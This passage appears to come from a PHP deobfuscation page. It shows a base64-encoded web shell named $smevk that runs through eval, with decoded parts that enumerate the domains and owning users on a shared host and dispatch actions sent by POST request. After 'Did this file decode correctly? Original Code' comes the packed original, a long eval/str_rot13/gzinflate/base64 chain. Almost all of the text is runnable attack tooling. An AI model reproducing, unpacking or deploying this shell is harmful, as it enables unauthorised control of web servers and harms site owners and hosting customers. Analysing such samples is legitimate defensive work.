ICI8dHI+PHRkPiIuJGNvdW50KysuIjwvdGQ+PHRkPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIicgdGFyZ2V0PSdfYmxhbmsnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKCgogICAgfQogICAgCiAgIH0gCiBlY2hvICI8L3RhYmxlPiI7Cn1lbHNlewogICAgICAgICRjb3VudCA9IDE7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCAkZmlsZSwgJHIpOwogICAgICAgICRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj4gVGhlcmUgYXJlICAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci5JIHRoaW5rIHlvdSBoYXZlIGdvdCBzb21ldGhpbmcgdGhpcyB0aW1lIHllYWghISEuPC90ZD48L3RyPgo8dHI+PHRkPk5vPC90ZD48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwogICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsKCiAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIgLiAkZG9tYWluKSk7CiAgICAgICAgZWNobyAiPHRyPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwogICAgIH0KfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50Rm9vdGVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKICAgIGVsc2UKICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pCgo/Pg==";
eval("?>".(base64_decode($smevk)));
?>'
Did this file decode correctly?
Original Code
eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev("TDz\x2bM0gKYWO\x41k0qK\x41tS/Q8D/\x42m7\x410V5WsSzGwuuIV2nlgMNEG2OXom7\x41U\x627fz\x43tMuM3dVm\x41D4gERin\x61pNXKXdPIhTyd6u4ZV\x2bKZRM\x43h\x41v1eNe1utV0\x632d\x62q\x43POnXkm\x62Ei\x635n9/TNMNt\x41ZR80\x2bek\x41YI/KtZzl9/x09LZp8GsRFE686WW6rmUo9YIUHrMuqS03PP5sy\x42YeONsL\x41Xl0XPfzs1sTX4\x61oTFE2vip5XU8nhF68RlI26T6\x2bkOlHVySQkWhtznjW4ne5FXdt5lrXLf\x2bUikT0fG/Vp3v3kLufm4y0ZR\x42uZjIS\x2b23d\x2byU8ZsiRw8EetOJ\x43KRVK4\x432Grg3f5V5lK4\x62qO0NlfDJ38DrlDp\x43Py\x2b1N3Qwt\x43PqnE7e1GJWxsv\x61\x2b9019eRS\x61GjGXdwvrWm5Z5py0O56DOwxu5ovxft\x2b6MlY\x41qK7HYDLjv8ERzq/WX5kk04fsQPqnDJ\x43\x620Fov\x2bG5xHX\x63hUFP3Kef7XNX\x4391L\x43yx1uwFzQlFiQrxEiSwhVLj\x61El\x61/7m\x63o\x421vdxLUF\x63e\x420dEpmPdu\x2b1v3zgX\x61\x41SlXG53\x42OG\x42Z9PQD96T0jUrdNyFOqn0k/\x43k72p\x63M1yTgwTXs/mo34H0sgFrO5VLrSEID\x61VYRZrlrevqzY\x42\x42/TsJqiUZ\x2bJfnXgqmL2dt1fk47Q3yLH9\x61d6m2\x2b2\x61\x61TjeFG0/sPUrG7d7RHMwo\x41UL4\x63Wy0tVxyTgnS\x63\x41xtd\x63\x62UOKrnd70Zkj6sH3poWrWxhuWP\x63\x43Gfdm9R\x62Z0V\x61X\x43sLLV\x61VIGv\x63wRVJgP81OT4zuVpX76T/\x6296M\x429g4ntvKZN06lt6\x639H\x41U\x43H2Xsqt/uRfu4eJ\x41vTrSx\x62XNpyGVXzQP\x42yh\x43PU7wGno63v5h87V0xz4RvffE\x62X1YUqe/vM7rq6RNLzmFpJLrtYHT\x2bUl/LR/hZuVYYdq7dW3vPoVdKSQZVd\x42v1DRMjDv1\x41k\x413Msy829D0Xy1LzizjVU2gNlUUfZVX50O9hlRI6ViJd8xs/65Rr22yFHD7e\x62dfKuhD12T1zzuX\x63/7eX32WEGTf1LnYEgQpmTz/O3urTLExNHqUjjwW1Vv3\x61PNp\x43J4ORxh8s82VvI3TLx/kndlf\x43v3exw4Hnqtj7\x621mxK5y\x424SXzNfp36LOH189/1I38XJtr\x61UUFIuY9U9zHsyM5\x63KemIwdf1X\x63LYxKJdSoxdl\x41uFRvjnQUz7kN8MIOrlkKeky\x6147H\x63\x61NrSYxIIuW\x41jIpnvL3\x61d1JpV/Xsjd\x42sknivUnlG3\x62rFX6\x2b\x41Krx4\x63VeZfJf5uDM\x43h6KphdFd\x42NyoVUkOVD7RxuyKP2\x41Sv\x62ywq/KoHDlrltffxLEE50/1gpWFoNekvolJn5\x43vJoofQ2fxKn9\x2b1/RUpXJHJN\x2bj9iL6GQn\x63\x4238lzpRG9su\x43YQPLniDv\x2bL9xp5\x2bvX\x43\x2bx8ZF\x2bXKP1rdg7Zf\x43et5t\x63Z51\x626TmZu0rMWvpxOInuJiX\x62uIZsioklF67UHmnJ8tR\x41NFL2qKJiXz\x42ZyUuN\x43N\x61\x63EMoqq\x61\x434mZ1\x43ppTZYHPOW\x62w\x411ir\x63O9Edrts\x61lv1\x63WM1RgqudmK\x41\x43\x43\x61\x42g12SZX1llJ1sVhoXDGYNtOuONr5WOHeF\x621X\x42\x63EDj\x43Fhl\x434MYvxTUPWRDqd68O42mSqhU\x2by2zMR33k\x2b0Tv\x41ND8NlPk\x41I6Z\x63rEvP\x41Oyiy51I/5riJ\x43qDJp3YuQ2f6fomVJ\x42t1fJL3g\x2bx\x61YgXdX\x42Pk\x6131gVMJRN\x43rkRl7dr67z2018\x43Xy\x635TI\x43fvvF4Qzf5NSueJkQwPik\x618D83MpDh\x41U3dnrzTHkqErrE\x61UxjZS\x43ol4/IhZ1N\x43elMq/VKnvRn3GH9jFRwdPxv\x434\x41\x62I\x61\x62wUwuREyVWEV74m\x42MNPWz924U7pXI\x2bUDWFnI5885FYHZu\x61W6f5MNhhGHovi6G/y5fvsM\x2bVgPTkezZZOZu6QxT\x63vg\x61tdnRr1vhEVssVghE4V\x62U/USSI7djwPpWzM\x61y64kEjN2d1p\x62wneyfdv7WzflpQ\x63q9mEzM3XKjkT\x43NW\x422\x2bul\x43Qk\x42joxQzR9\x2bRXyUT5n\x42l4udiZioTkQ\x63NYOVVQp\x41R\x2bjk\x61oqme\x433xLhDv7rmhH7\x41qLpZ\x43euRpOt\x2bqHN8V8\x43l9jYVkzy2t\x62tHd\x616Ue8TOrpHehWv\x41\x2bMTD0\x63NwmdUt3Uq\x41\x41zy1rtY\x63v\x41qMLIjS86vu8h3\x41J\x43FY3VKZuYwXTuh\x63K7\x41hffO2r8\x2bz\x61VrMlU3\x61JW1P\x41f5R2\x2byWlwpSHPiqj6yeeV0\x63g9OvK6LfTw\x41kXtGhmQkqxvUj\x43\x42JMyUmmDk7w/fonVieX9\x42Dd5Nu2k\x61\x4103dJ\x63Lr4oHL\x62WLLp8TgLekYnr9uH\x43MJNr\x61KYKqu7\x61V29IOqKNoj\x43f\x42hrWnOvlOL\x41InyjoVRrHju7wSMY1tPY7QD2h\x2b2w\x62USMEfQMG\x43vfT0EjtR\x41Xr\x62YZj8u1X9th5s44kXvxyvLvzNG9RNMHxRqZFSz1QvyNO/5J7fUZxn2\x622\x423uLs8\x63sMHgh9jhrFtTuVtl\x41FN\x41yHNJ6nopX/k2\x43QoRxdV1l\x2b\x41\x42Pe\x637\x618S\x41\x63qF\x634HroR\x42K\x42\x61WWtsS\x61H/kxsuQkp1/sVpUTFyZ\x61\x6177U5FMW76/y\x414TurK/elg24ron\x629\x2b280\x619/6vjVEprJ\x63\x62SHmtJs7lz1nF\x2b4ur2OjiwtRuHxkiuP4KU\x62585mKF\x61z75\x63\x42gMqpLzy71qk4rkRgS6x0QhG\x63J4nrdHzQ\x42OetZDgXXdjL59ofX5\x43gydhH1xqKp\x2bWllg6wsT/vWHueHTz3n32Y2UX1\x2bk\x62Xxgwi7Jq1FN0vJZ\x63QIlTnuvhkr8yfisZVnK8JL81Lh71LRQ1YgeIuIT8hp6U7yVH/r/9YPWYzJt1dj5\x63po\x63wlY/DmV2yHj95\x63EEND8o6keg87mdXm9DoK5w\x43m\x62\x63/We6xksEtWwnV1P2\x63x\x63XMKsxxdySX04s4YF\x41fu1Uy\x2bKmlx7MK\x41wzRlgpSyK5L\x62Md3NnE\x42KQTWWIh\x43\x61GR\x43\x42sJshVV109m6HOKYjgRg\x41\x63Qh7580YVxiDLwlTMg\x63\x42Wep\x42Xuj8rWJRSU\x63Ly12L73gnmHOFyLqs\x61sRJwWw/JoxMTV64\x2bJ9ygeqzVDVy4\x41mr4fXlKsHIZ\x61Of5QV1ujzfhG7u9hEsnYhRygYwNJ09UI\x62oPvhZGZ1dTIlKV/\x61VxOOk3\x43I0rF\x2bK8qhUI\x420O5yRWZuxvzJ6EDPEjuN/30/N\x2bxHNFO\x62luW\x2b\x414lKnI6S/DeX\x2bHVt8V5\x2bzji8ij42T1sSjKX\x616OVF\x2br45H/qeZZOXxSt0lP//7mm1s\x43fj1ULZ/v99K/0ff8\x2bq/q0p\x61LpLYYql3eWieD1g6YlWX4j9sKoQdgfYfVDWTOGFuHnmVW\x41eGEoU\x63kIDjJLxWLIzdd76Y7sfEWyvgZ\x434hFw\x42gm\x420THLgzZVJ\x2bw2w6GZ8L\x41DXz/t94\x62\x62rsQI7hNH9kfIOZf3i092ftR\x438mgN\x43u7VXH\x41Wsf4QeqeglzSVQQM/9rfZwnt4pxvSnKUl\x615xVl7zkk4U/XL2uo/NsgG\x62oFWMvS\x4367IJq1NvE1VeR\x63\x62\x41uWU/prkeg6gPfZuf\x429gnd\x63VuR\x62\x2b8mVpmUZJqi\x63O0YoxlTy1z\x2b\x62GxlMGKHpn8vYeH\x43MZdmI/LrvOve3\x62IHvWtkNpe9zZMExLHLsWVu\x62vKPKhzjsQyF\x63Du75reroxjnYSy7/1Duv\x62P\x632lxSf5\x61s\x63M84H6OJi\x62m\x43Dlo9\x42h29t28\x2bJ8kS\x62qJgDv\x2bWmFXk8RE\x63pOT3VMp\x61o1JeT\x2bT1p\x439O1\x438jv0WOz/\x62LoR00\x61XJJOUzIS4e3E\x42u\x43V\x42nRJjS9eN4RGOU0s95yNR2\x2bL\x41tRsv\x42Jqx/V9jumJFSHvZQ0/z\x2bH\x61VRX\x2bW\x61tzm\x42tW\x41HK\x62k\x2bmSojtR7zuWQ3ZH6ox4xhe1kZvI1tf/R2\x61G\x61UZO6nKpVhi\x432IDWDxKu\x2bldP0xpFO7x/HIJ5NUQmYDkK9fN3fH3rzfX93F0frP203XE\x62JIH1TqIzT9Uk0W9IkvwOq1X0l\x63/R\x62ZvugI\x63loxptu60\x2bu\x6234k\x61kW3e9/SwNItW0E\x63k0essfoPvQ\x41jjGWdZ8pqOq4sKh2eWENdDeS\x41hUD7DpJtSjkzV\x2bO0DdwenKz\x62Oum3xOtmH9Hf8lho48jhzdW7jIS2\x61M7XsqwyP8\x41\x63D2WWn6FG/\x43J3wvEyh1Gfl/\x42RJDd\x61\x61mzm2kz\x42Skh\x42Po\x62FtfS\x63MWTI02HLiq2W/HDh6zqjgOZXzt6R3L0EN68UU\x61TkNTo\x61\x2bmFglssKMFe308m\x2bLtnD9YId/rvI\x42j\x43e8\x41Flt\x2bKQV2/YGZXYZypRxKl455rN\x61GqrN9mxX560\x62LQHYreF\x42LyJ3\x423PkYVSFSR4ZPO/Xm\x41PFozN\x426\x62hoW\x41w4PqW2\x631\x42l\x41eDmh8p61x/w\x42PM\x62MLS\x62HO\x2bpm3Uxwktm4t\x61jPij3dJ6Mge3Tso\x41P\x429leH4xWWynU\x43N\x41Ws4isvF\x43\x43/Y7gyOm40YX6Qd\x62\x42D2mg\x62zTKPxESq85gyl9GzEYyl9gDgVfXQR0spk\x61e\x615We6\x61xWFps9pSPFhnpt\x42f\x41Y1ZTzp8f3pMwvTZI89HW\x424SFK\x43IR2y5frLkVU\x431\x42\x4243\x41\x62oGLOqywzzxZs3rdjj6X\x2bzVJ4\x632iwyKd\x2bS5F1r\x62GtT4l87TtLfKDe17z2\x41J\x61SH\x63JxJME\x2b\x42UZ38svTsq\x61s4t1RIoee0\x42FY245p/NNLHeLYF\x63XZkGKoo3shZffW\x61Xo6W3Im6izs3qqo\x63MQs/\x43\x61P5Gk2QKZV9Tl3\x638\x62W\x63\x43h\x63XJ/\x42uwM\x61o\x61PX\x2bW\x61Sv0KV2w\x62jHX4T\x62P6ji73rkjWIk\x62OXrojHq\x2bO5hGTz4/fRgOvyk\x61Fp8\x62UiEU/eWjei\x43RINtJ598S3OVG1U\x62Erxg3kNgxyj1/3ZQwdP\x61\x2bMFr/Hx\x438RyToFuVX1X23pDemijkLxEUx9wQ24VRhZ8\x61qKxrz/JdfH\x410\x61hqzqrXTdWsh18PqwwlHogW3m96\x2b7LL\x42dZGXXxuud80\x2bV\x42KUFUT7QDw0V52t5uny\x636TeqjkJ2/xn\x61pu\x62JnSPrTFDmmfHtld6kTrY\x2bdtJz5Z\x61w9\x413D2G8Nq8z/8\x63GTVyEGjZ/xtn\x63LL/ZXokqiveQ\x61Fl\x63OEvWLnjz\x42ORTvI7LrX2npf\x63Es/HpMfLSngdmM1N5uLtdNmKz3ZYoTRXQSKf\x62E\x2b7\x63\x61WIUhZt50R\x2bY\x63Oh\x43h2WMLquv3P\x62L8GiS8tGu\x2b43u/nT\x61s9dE4yPDehm74G\x42QkmR70KHsVJozRY\x62IeSx\x63M77F8ZYO4Ev1\x2b6QMpt1oou2hnYd\x2bmrVDLf1k8XfZpOg\x42Tz4vH8wwYo3eRSPO/0Y\x2bRdz1JVQ/O7\x42nG\x2bvyJ88OrDlRyM/98h7zdTTFGG35S0wSErdM17M2\x63vp/zIUX9tHeVOUHkPu5UFIo4XM\x2b/IeZlpq9FY2y\x62Eo7o5OLoP5WVj/xY\x61zvzFKZWrvjmlk\x41emOi\x42\x61xWTTri2v\x61iq9omtrXoW\x621h\x42Qr8g\x62Qn\x61VR368YITxgq\x431O84MqV\x63L2pNi1\x41\x63T\x2bjS32\x43mWZ\x43ikl\x62v\x42\x62\x42i7t8Ux0\x2bQSiz\x418TV3zN\x2bmLOPFo2jUtVgNpv36\x63\x42jF\x2bKGXv86lH\x2bqY32G8UY7SMGEPHjGz4IZHHTz\x62T3QoQI2TWV3kfLhl7Jvg7ykw\x41G\x41Ko1lF4Q0TheupWz7Pm\x425wm7LRVZ2jthds/mM3\x41lvvp6\x62uJlwn1V2f0y10WWP\x42je3\x63en/9HtrmyppVOMwJVEvOYtjFv8VPTXlr\x63Ymm/o\x41Yw\x632GQXPrPvx/TYY\x2byfrExP/q\x62Vpi\x41y\x2b\x2b8PNT1dyh59VqVzfyg4nIRZZwnpnKwWPY8LN8I\x2bh\x43vwoxR5\x61Fg3lsLF5R1HJPVwe6nvi\x61ej\x2byqFEsXhq\x63Rr40k\x43/p\x4118FRsV5XRmZFXO\x41X\x63Nxk98y6wR\x42y2gIlHkS8YrI\x42k/1/Q0jt1W5dopV2O\x61\x2bYvMpEf7K67\x2bR\x62vKf9S8k\x62F9j\x63iKdleRl4HKttlxMs\x61ve\x42o8Li\x43t/5MrRGlvD4r9\x41P93d/\x63Grh6v/YNh\x43SzT\x41fSLULy1\x617E0R8rIO6GG\x42wjI4SFHf000D9T7\x42ef\x63ZET2umf\x63yU9yy\x426x\x63Ze\x2biThq\x2bQksfeSyxX\x61\x63vl99H6P7\x41\x63/\x42jdh\x43VHfVO\x2biJiWKs94OTSjs93weolmQ\x2b6\x63QLL5GtLFh5rUMTU3P\x62nl2UzqNPS\x43norvuG\x62qy7K3FF1fjhpYu/yGzz/2q0t7\x2bpMP\x62sx6jurTHIIeW3R6OjY\x43fUerP\x61I/l7PHvRgQ6hYX56XMoede\x42OmT\x2b\x62tZl9wZhoex/3hkwo\x61u\x43fN\x418W2\x62h\x42kvq4dlk\x63FTnZxXGUuJfDeR7KG\x417h\x41gUs3ugqGT25WUsNij\x62\x43VNG3qfps1LxUz1L6eeX0Eio\x62UiUgNSyk9Q6xtL\x43LxrKDJelV3dLjq\x61oeGvT/4u\x2bUxGXt\x439PpK1MHfkMmGquzGs01\x41iJV5gQrSxUMwLT5\x42GtWZlvjZ0NNYxLGpi\x2bml\x63roIsd\x2bQLs4KwIwt2hKJHj17x2itjwdu\x61Gp\x62\x42Mozret/\x43T0uI\x42NnnFGhpLI\x630LYwNiFmP\x42wX/2PYDVvo\x43\x62UIEhp3zq9\x42\x43wywU21mZezSLum1WIL/7o\x2bue3Exl8m\x41N0uT\x43uyrETw\x62w\x61TWvWPkfP8E2Kxu4we\x63K1pY35gGToyGdQDNHwu\x61D23h\x6245i4d\x62\x635O\x63FP/rySxSmYklLz5lGYmFO7FDn7ggXgSZDVJ\x434rz129DDRdozrDm/dmySGr\x4244onUwWzKoKUuk\x42\x62myW\x61Rogip\x43Zg9g/\x2b5qz6OpeY8ixP\x4236YGT3G\x62L\x62ZzkSdZgIPEwlYHp8v\x63d0UMd\x61YNyQZs\x62YeTjnifwTp6FIVpd\x611N\x42o7\x61Z3QoW7qn6j/N3WHPVs7Q3viI\x62yXMPYi\x42\x43siXI\x2bJREzthl9pJn2TUT5z\x6120KX93FyVr9vFL/5zqL8KffzKjoz3q0MISDmeJ0856U1UdO4yudSZl03\x2bVw/rheq0l2Ff\x62yES\x42ZEGNSTGvRU7t\x4154D\x62pdRn6qwm8M8xY31\x624\x630fD6ddSUPi\x63gUqM88hGmrR\x61PpeUT6yNKlvwVD\x61\x43SorT2XpNk1ysy6mmq0TnXdU6/0lnWgxrM9o26GL30759FfipzTuZZT6\x43v1N8Y\x42LKXtREqzVOmym59g\x63f\x63Yitq4\x2b2OwOZnqY0\x43\x62W\x62UG9iLmEmxSem\x62ngDeVWVSweo/I34tNJ\x632w61u4jheT8QKK9wYn8d\x626yD8t4S9Xo\x62D8huisnMZz7H6z5Gf\x6317YwmhOjg39XOr5uZMrr1Nov\x417IVHX\x63fdg6e00d/uf\x63\x611N8H1G3P9O4\x63qTDTXnqvXqIR//IY5mLzz\x61\x62YF85Y7i\x43OY874iKvY\x620SiJ0jXH7NDPO\x63E22\x41P5sgsWVT7wtxvSUN7\x62n\x2b2TE07wdt0XhiTfvXhVPsQu\x2b\x63\x42K\x61Om8iV33rOdGf\x2bytX0OKJeIQe\x43Lri\x41X\x618\x61\x61zMMQN1Y\x2bQrZXKu0W9m388lT4j1YzeRud/q8fDl0s47/GF\x63jfpXUD\x42PDW\x63\x42f6s7V12gpyNhl\x63VMtfuNUglnIP\x63vJPDz7\x41Ppx4K/q/qL21\x61ivRTJ\x41poh865NIL93YQUkEuxm\x61/DkerJutYHX1vS/03EGRDOX\x62EV\x43YlsmPIs5ls/tHt3H0597LUHH\x63Q7X\x43seFfSX8j3y\x41PQlTtvD6FH4\x61LS29Plm40K4138e5f1Dy\x62EZ0XQfEU84/Js\x437\x61eI6Lst8yw\x2bJWIM\x42D\x63fnYYugR\x635WSe3vdp9vgzrmR\x6378evthp84v384E2sLRswz7Tw\x62XG0\x43PXnOyXhOtK\x41\x61f9qd3yyMYqi1yzn/k\x42esp\x41\x63Mi7zlK3r/P\x61usVpzGP4\x62hHR2TQLPv\x62mzZGz7L1rhKFZFlv\x62o\x43lG\x2bu6R7qwhHdIUt8TMWxG3ei\x62V3n0O7g1Ts8P7f12\x2bK4lW32\x61o\x622iKjL6J08J7\x43Dp\x42rV5\x43lTfXDgJTerrEy4T/LwO\x63KSEX8gu\x2bN9xFT7s\x42tn8FsNwhFmxZLko/3P\x61Um1Lo\x41Df\x2bYLj7P\x2b5Sinq3Yz3m5\x431JDr1T\x2bw35DfpJu\x42d15xQGzGfzGFvLl\x62vXRn1\x43hVPm\x411\x628Ye1wro\x618PP\x61O\x42t8T1v\x42\x43DNrSmumT5jD\x62nq2\x42Ht4r\x62ZrsrYg\x2bK7v\x43\x63FosN59SqjHXOvUxF6vX7t82\x2bk\x2b\x61pMGvWFpzoIet/S5t\x2bjgP\x41h73lPIDdJ6Pdv\x63KJshjk\x610690yFw\x612Z1EUKYk\x42MI\x62R9\x61oKRk9\x43\x43FdW27\x63Rwv54Pxs9jwFOp37\x62Q\x63MXF6dV10ZgeQ7IH9N0\x63\x630vV\x41EOw6WM5Z4rdeD8SRHuUSerdG18q5pIkYf10n3Uk8\x2bhQEqFGTDfHuW8yQrqw3t54\x613po1\x2b\x436SOiEI/g6ewDi7J1dJ0X2kZDVp\x43vhjm6suxm1XE06\x2bOH947WInkWKtKR\x62g0Y\x41\x42\x435t9\x43\x2b\x42hZyhRrvJQnO/UgXDundRv\x43\x43xpmNOH1XqGTRyNtyu7ISd62IKjY\x62\x42vPnEZENMj\x42\x63/x\x628nYm\x62tmvu\x41\x610Q9wdUF\x2b/QNgXxzNdl2RKDXd/YU\x42MYdRfsPOOPQfG\x63v6n8Jwo4FEWSTqf69gF6MpOQ0z7\x63Vdk/d\x62ynu\x2bZNr2W8UZO\x62FyZr5kpWe1Gj6/h2hoI\x61\x42\x2b39\x6299HZFG\x614w7RM\x43ND8\x618itXigG3xkvOR0DZPHiUI\x614skeXxni9HKE2l0Xul\x41Ej2S1pse/7S\x41I4Ufys\x631RrV7Ie\x43uMpDk1yPfx5KpzPzNqdX2/4mj82\x41qy4y\x43tx\x2b5q\x43MMh\x63qMv2ijklfutZUVopnxkx\x435JLW\x43\x63jOSH\x412H3UOiF6xz9m3\x61IeHNZZu3KPWi\x41Rry\x42OdL9Odu\x620Oke4ku8f6mfWVOLxeoE7jd\x422yWYd/6d5Pp8qeJIS3qy\x42D7v0o2Mgei\x41tQKzjrd0OR\x63nnTEry\x42IsPSt/e\x62f57z\x42VDniyJs9Gr2Eoggn6HkpOy4wFRkOwjI\x61Jpizxqp/g0\x2b2wLsZiK\x43yI3RW2JRd38NDg\x638R\x2blqZvy58m2O4lL0FKES2GGQx\x42HPzXPe87hVtL0e8953fZXUNULjipNY/eGVeTZoIT/JzWHS66niu\x2behElYK\x42zeos8020Ft3Q\x41YiX0\x61im6Xt3pq\x634uqxUvy6LvQr\x42GfG/V\x43Iv1910o\x2bp5rnsUW\x2b\x41spfQ5O2U1\x62J\x61Id\x413pGVT46Q5Rr6X2NphUTQSOkTPiVo5Km6Plf\x2bG1knl2/Wr\x4222nG4en22WPHDK\x43242\x2bXn\x2bJl\x61xXmoZos8hyjHnGKr6hrEj3f\x63ss1HdgeDn4U/Dv1\x41s2gpwp8jt\x63Wdnye\x43S\x42L52wf52wUXGHvqTW\x43f54M77/\x62\x438F\x62\x62FL5OIxM65vw4tmNZX\x61OTlLy38\x43HeJG4Ut5W1E5hq/LuRWywRvnuud87\x62R\x63Tz\x43L\x632OEk2Rh3pziw9zF\x2bsP9weh78y/EstQuTF\x62Mr\x63dV\x62uen\x42PpIgYPd2/gq9XuV17OJl/Ne9t\x62zR\x2buKm3\x41ulvU\x41gXH2vH\x4143GW\x2bxe7qINrFG0StiPzMSG\x62\x420loSJ8U5IiEgSiv\x62sIrGN5TT7Q\x43t0hG32UOH\x43xoVSX0h8943vrz\x63\x42OJfmtT5OMdR7/zYH\x41NWmt\x43\x63I\x61f34LuP\x41\x2bN//N\x61/KvUyYevQJIs\x61M\x42QrF\x2b6OZw64xqtvzf/eN9nTPZzw/uL6xY\x631oljDvKtj\x6383j08nZVS05de0l1j55MPxUJo9sKO//x6WsL7Z51VifO\x61OIrxU\x62\x42dG4PtRZMZG9\x61Mv\x2bpg\x431veVYq/y6/2WGnlk\x628\x42V6UO\x42GOPt\x4378GwvXg3vj4653OKX\x43d\x43tNy8\x41vrmeTRP1PDT23NpdZO4Uprjrdf1Iv\x6198YG5\x62\x43eRPKIYol6TgOv9MV\x41M5MdHUyZNlDPtZ\x61Y/nEx\x617Y\x43huq6P1YPHz4QOJKKd\x63Jhm\x2b7yZPx\x63Jq\x41vsSP15JKWsOfuqp\x616\x61iSq\x626sY7HY8Eve\x2b07Vsx3leZU3FZ\x2bw8G0\x42HQQO2zFZRpOsxeJHp\x628VG1wZd/KUov\x61nXLx8\x41NYrFepV25Mg\x629\x2b\x2bOW9ZRtQS\x43\x42DTP\x63LReQDKy9vYuHHX0ngHzquNziKj\x62ZV\x42UYm2e1Nrz\x2b\x62\x63VHwDD3QM\x417zHrJueXTnTotME7e7\x61o5fdPWnpU\x6226E3Pf/\x41NV3zT1NT6\x43d\x61jVluJD8r\x42LY\x41l\x61/Zz\x63eq/yuejhvTLrswx/3qqYfiDVXJVVynGJ1o6OhTijONpVefe\x41mfylHJD\x43JuS/PwGRhs\x2bYjSi7WzPNhO1tezx1ff77n\x61kO/G0V9\x423wP\x422PQsvzK39YKrxvD\x42qKGnR\x43PefG\x43KrVY5SkJsYVFJtLQNQlt9/2k4Sz1rHFjY1rU1E\x2b9/mqh8\x61XWNz\x2blDZDodrt\x43E\x62gVRFh47QI0v6G5f\x43\x2bNN\x61\x431MVvxJh\x6398oGpRG\x63VOPdDojq4KJlIKErnEH\x625h\x42OjuluQN9yfX\x2bK09mE9\x62eRV\x43d5GNNh2xNuL80edMU\x2b/FLLdog5lL16z\x41RQmQ\x433kkh0zh5Pu\x42DHr/G3u\x61EZ\x63/PUKkq4hyXK/VM\x62KgzdzFF\x61\x41k33\x61\x62j2K\x2bSR5tjsnWvgoyyWUSEov\x41iJL\x41V7\x43kfL6W9ZOW0sDU\x62y\x63\x42\x61\x61QMvRn\x63I88n05zDGuwgXQdHM1XL\x42tj78\x63qdu\x42OWdeXO\x42FRJPVRSeZ7NIX\x63F\x2bIThpJ0yGKI2vIWQmVGRgVk5YSqywho\x61Y3l\x62I\x2bvQiOT6FqX4oSVm1\x63LgiK8WUGzEZv9yN0966YN2N0OZx3zkJZpjO\x639DXt/M42xQi6Y\x2byTf\x61\x42t4ten78Z/h3NjG285f30KQL4i5e43M\x61Pmh4K51nrrtP8\x2b9\x63K04ZnvJwLJwJuO6\x41KtnyHKQrfgdis\x2bTX\x62pp\x63sVh2kq\x43H\x43\x41ep\x61RNullJr79MrevpZf\x43sRYDTuX3/5\x42Vtvr\x2b0gSvk7L\x2b4Pn2\x2bnkl1\x41g\x420eumLM\x2b\x625ISmXnKUOrLlhfGoqMnnfVvfz\x43Wo\x63lgN\x2bRt\x627\x41Yy\x620omoo5R\x62LyR6onnv7Hvm\x618\x41\x2b7YlhnogJZg\x42E5y2X8Z9U3rke\x2befOf3r2N\x41xEHiy\x418/o9kxyZw1er8\x61nPe49qd/\x41Ge9yzVMYT\x2bxzrdSIoMSfd7n\x63KL\x63R\x41\x63uZQLmqRu\x613yi2jv\x43sZSG\x41\x2bnVM0pp40\x43jvevLJNeVWLxZOimOSD72\x62IuJ/WP\x43ooy1q3hXrqU59mnt9MOX\x2blkHZw7JE4tkPrM/tk6pt5dk3HK9Q\x63luu7\x638K\x2bV\x43\x42r\x2boy8o4uh\x41sW4V5j/vim6WS/dg48e0sPFxrXV2yg5QoNuWssF\x63VE8dpQfujj\x63yV3iYG8F\x42rSiQUH/LfupREe0ERMm\x42N\x42VIgySys2pRtu/tqI5\x43DeGSXSNmvzv\x615ZIEH6P\x63y/d1WRLG7u/\x63ooygUF\x42hfK\x43Qk8EG6Xzn0ydh9uwYKi\x43\x43p\x41HiI\x2bvxnXXoTPm\x62U7uXJ\x61oQLLr5T2i5rm6pS/3GdjLPz\x2bNYZF\x43Qxs\x42Iqie\x415W7NkrzUROG\x611Y7yL/w86\x61oqKs\x61I5w253xx3KUyq5P9lgu5NK2iXEP\x61FZHE\x63\x41zx0s8LXr\x61krz4N2Ihn0OkIwrn\x62q8rK\x2b\x62qLP/hg0\x63\x63lLp3wSkQe9yGv\x2by\x62DvJwgL9QX\x423XJl5EJ5lSLepW3JvIiHMXFZO\x61F\x62u\x2bwXUk93wLtnvqkZ\x6158Q\x42GD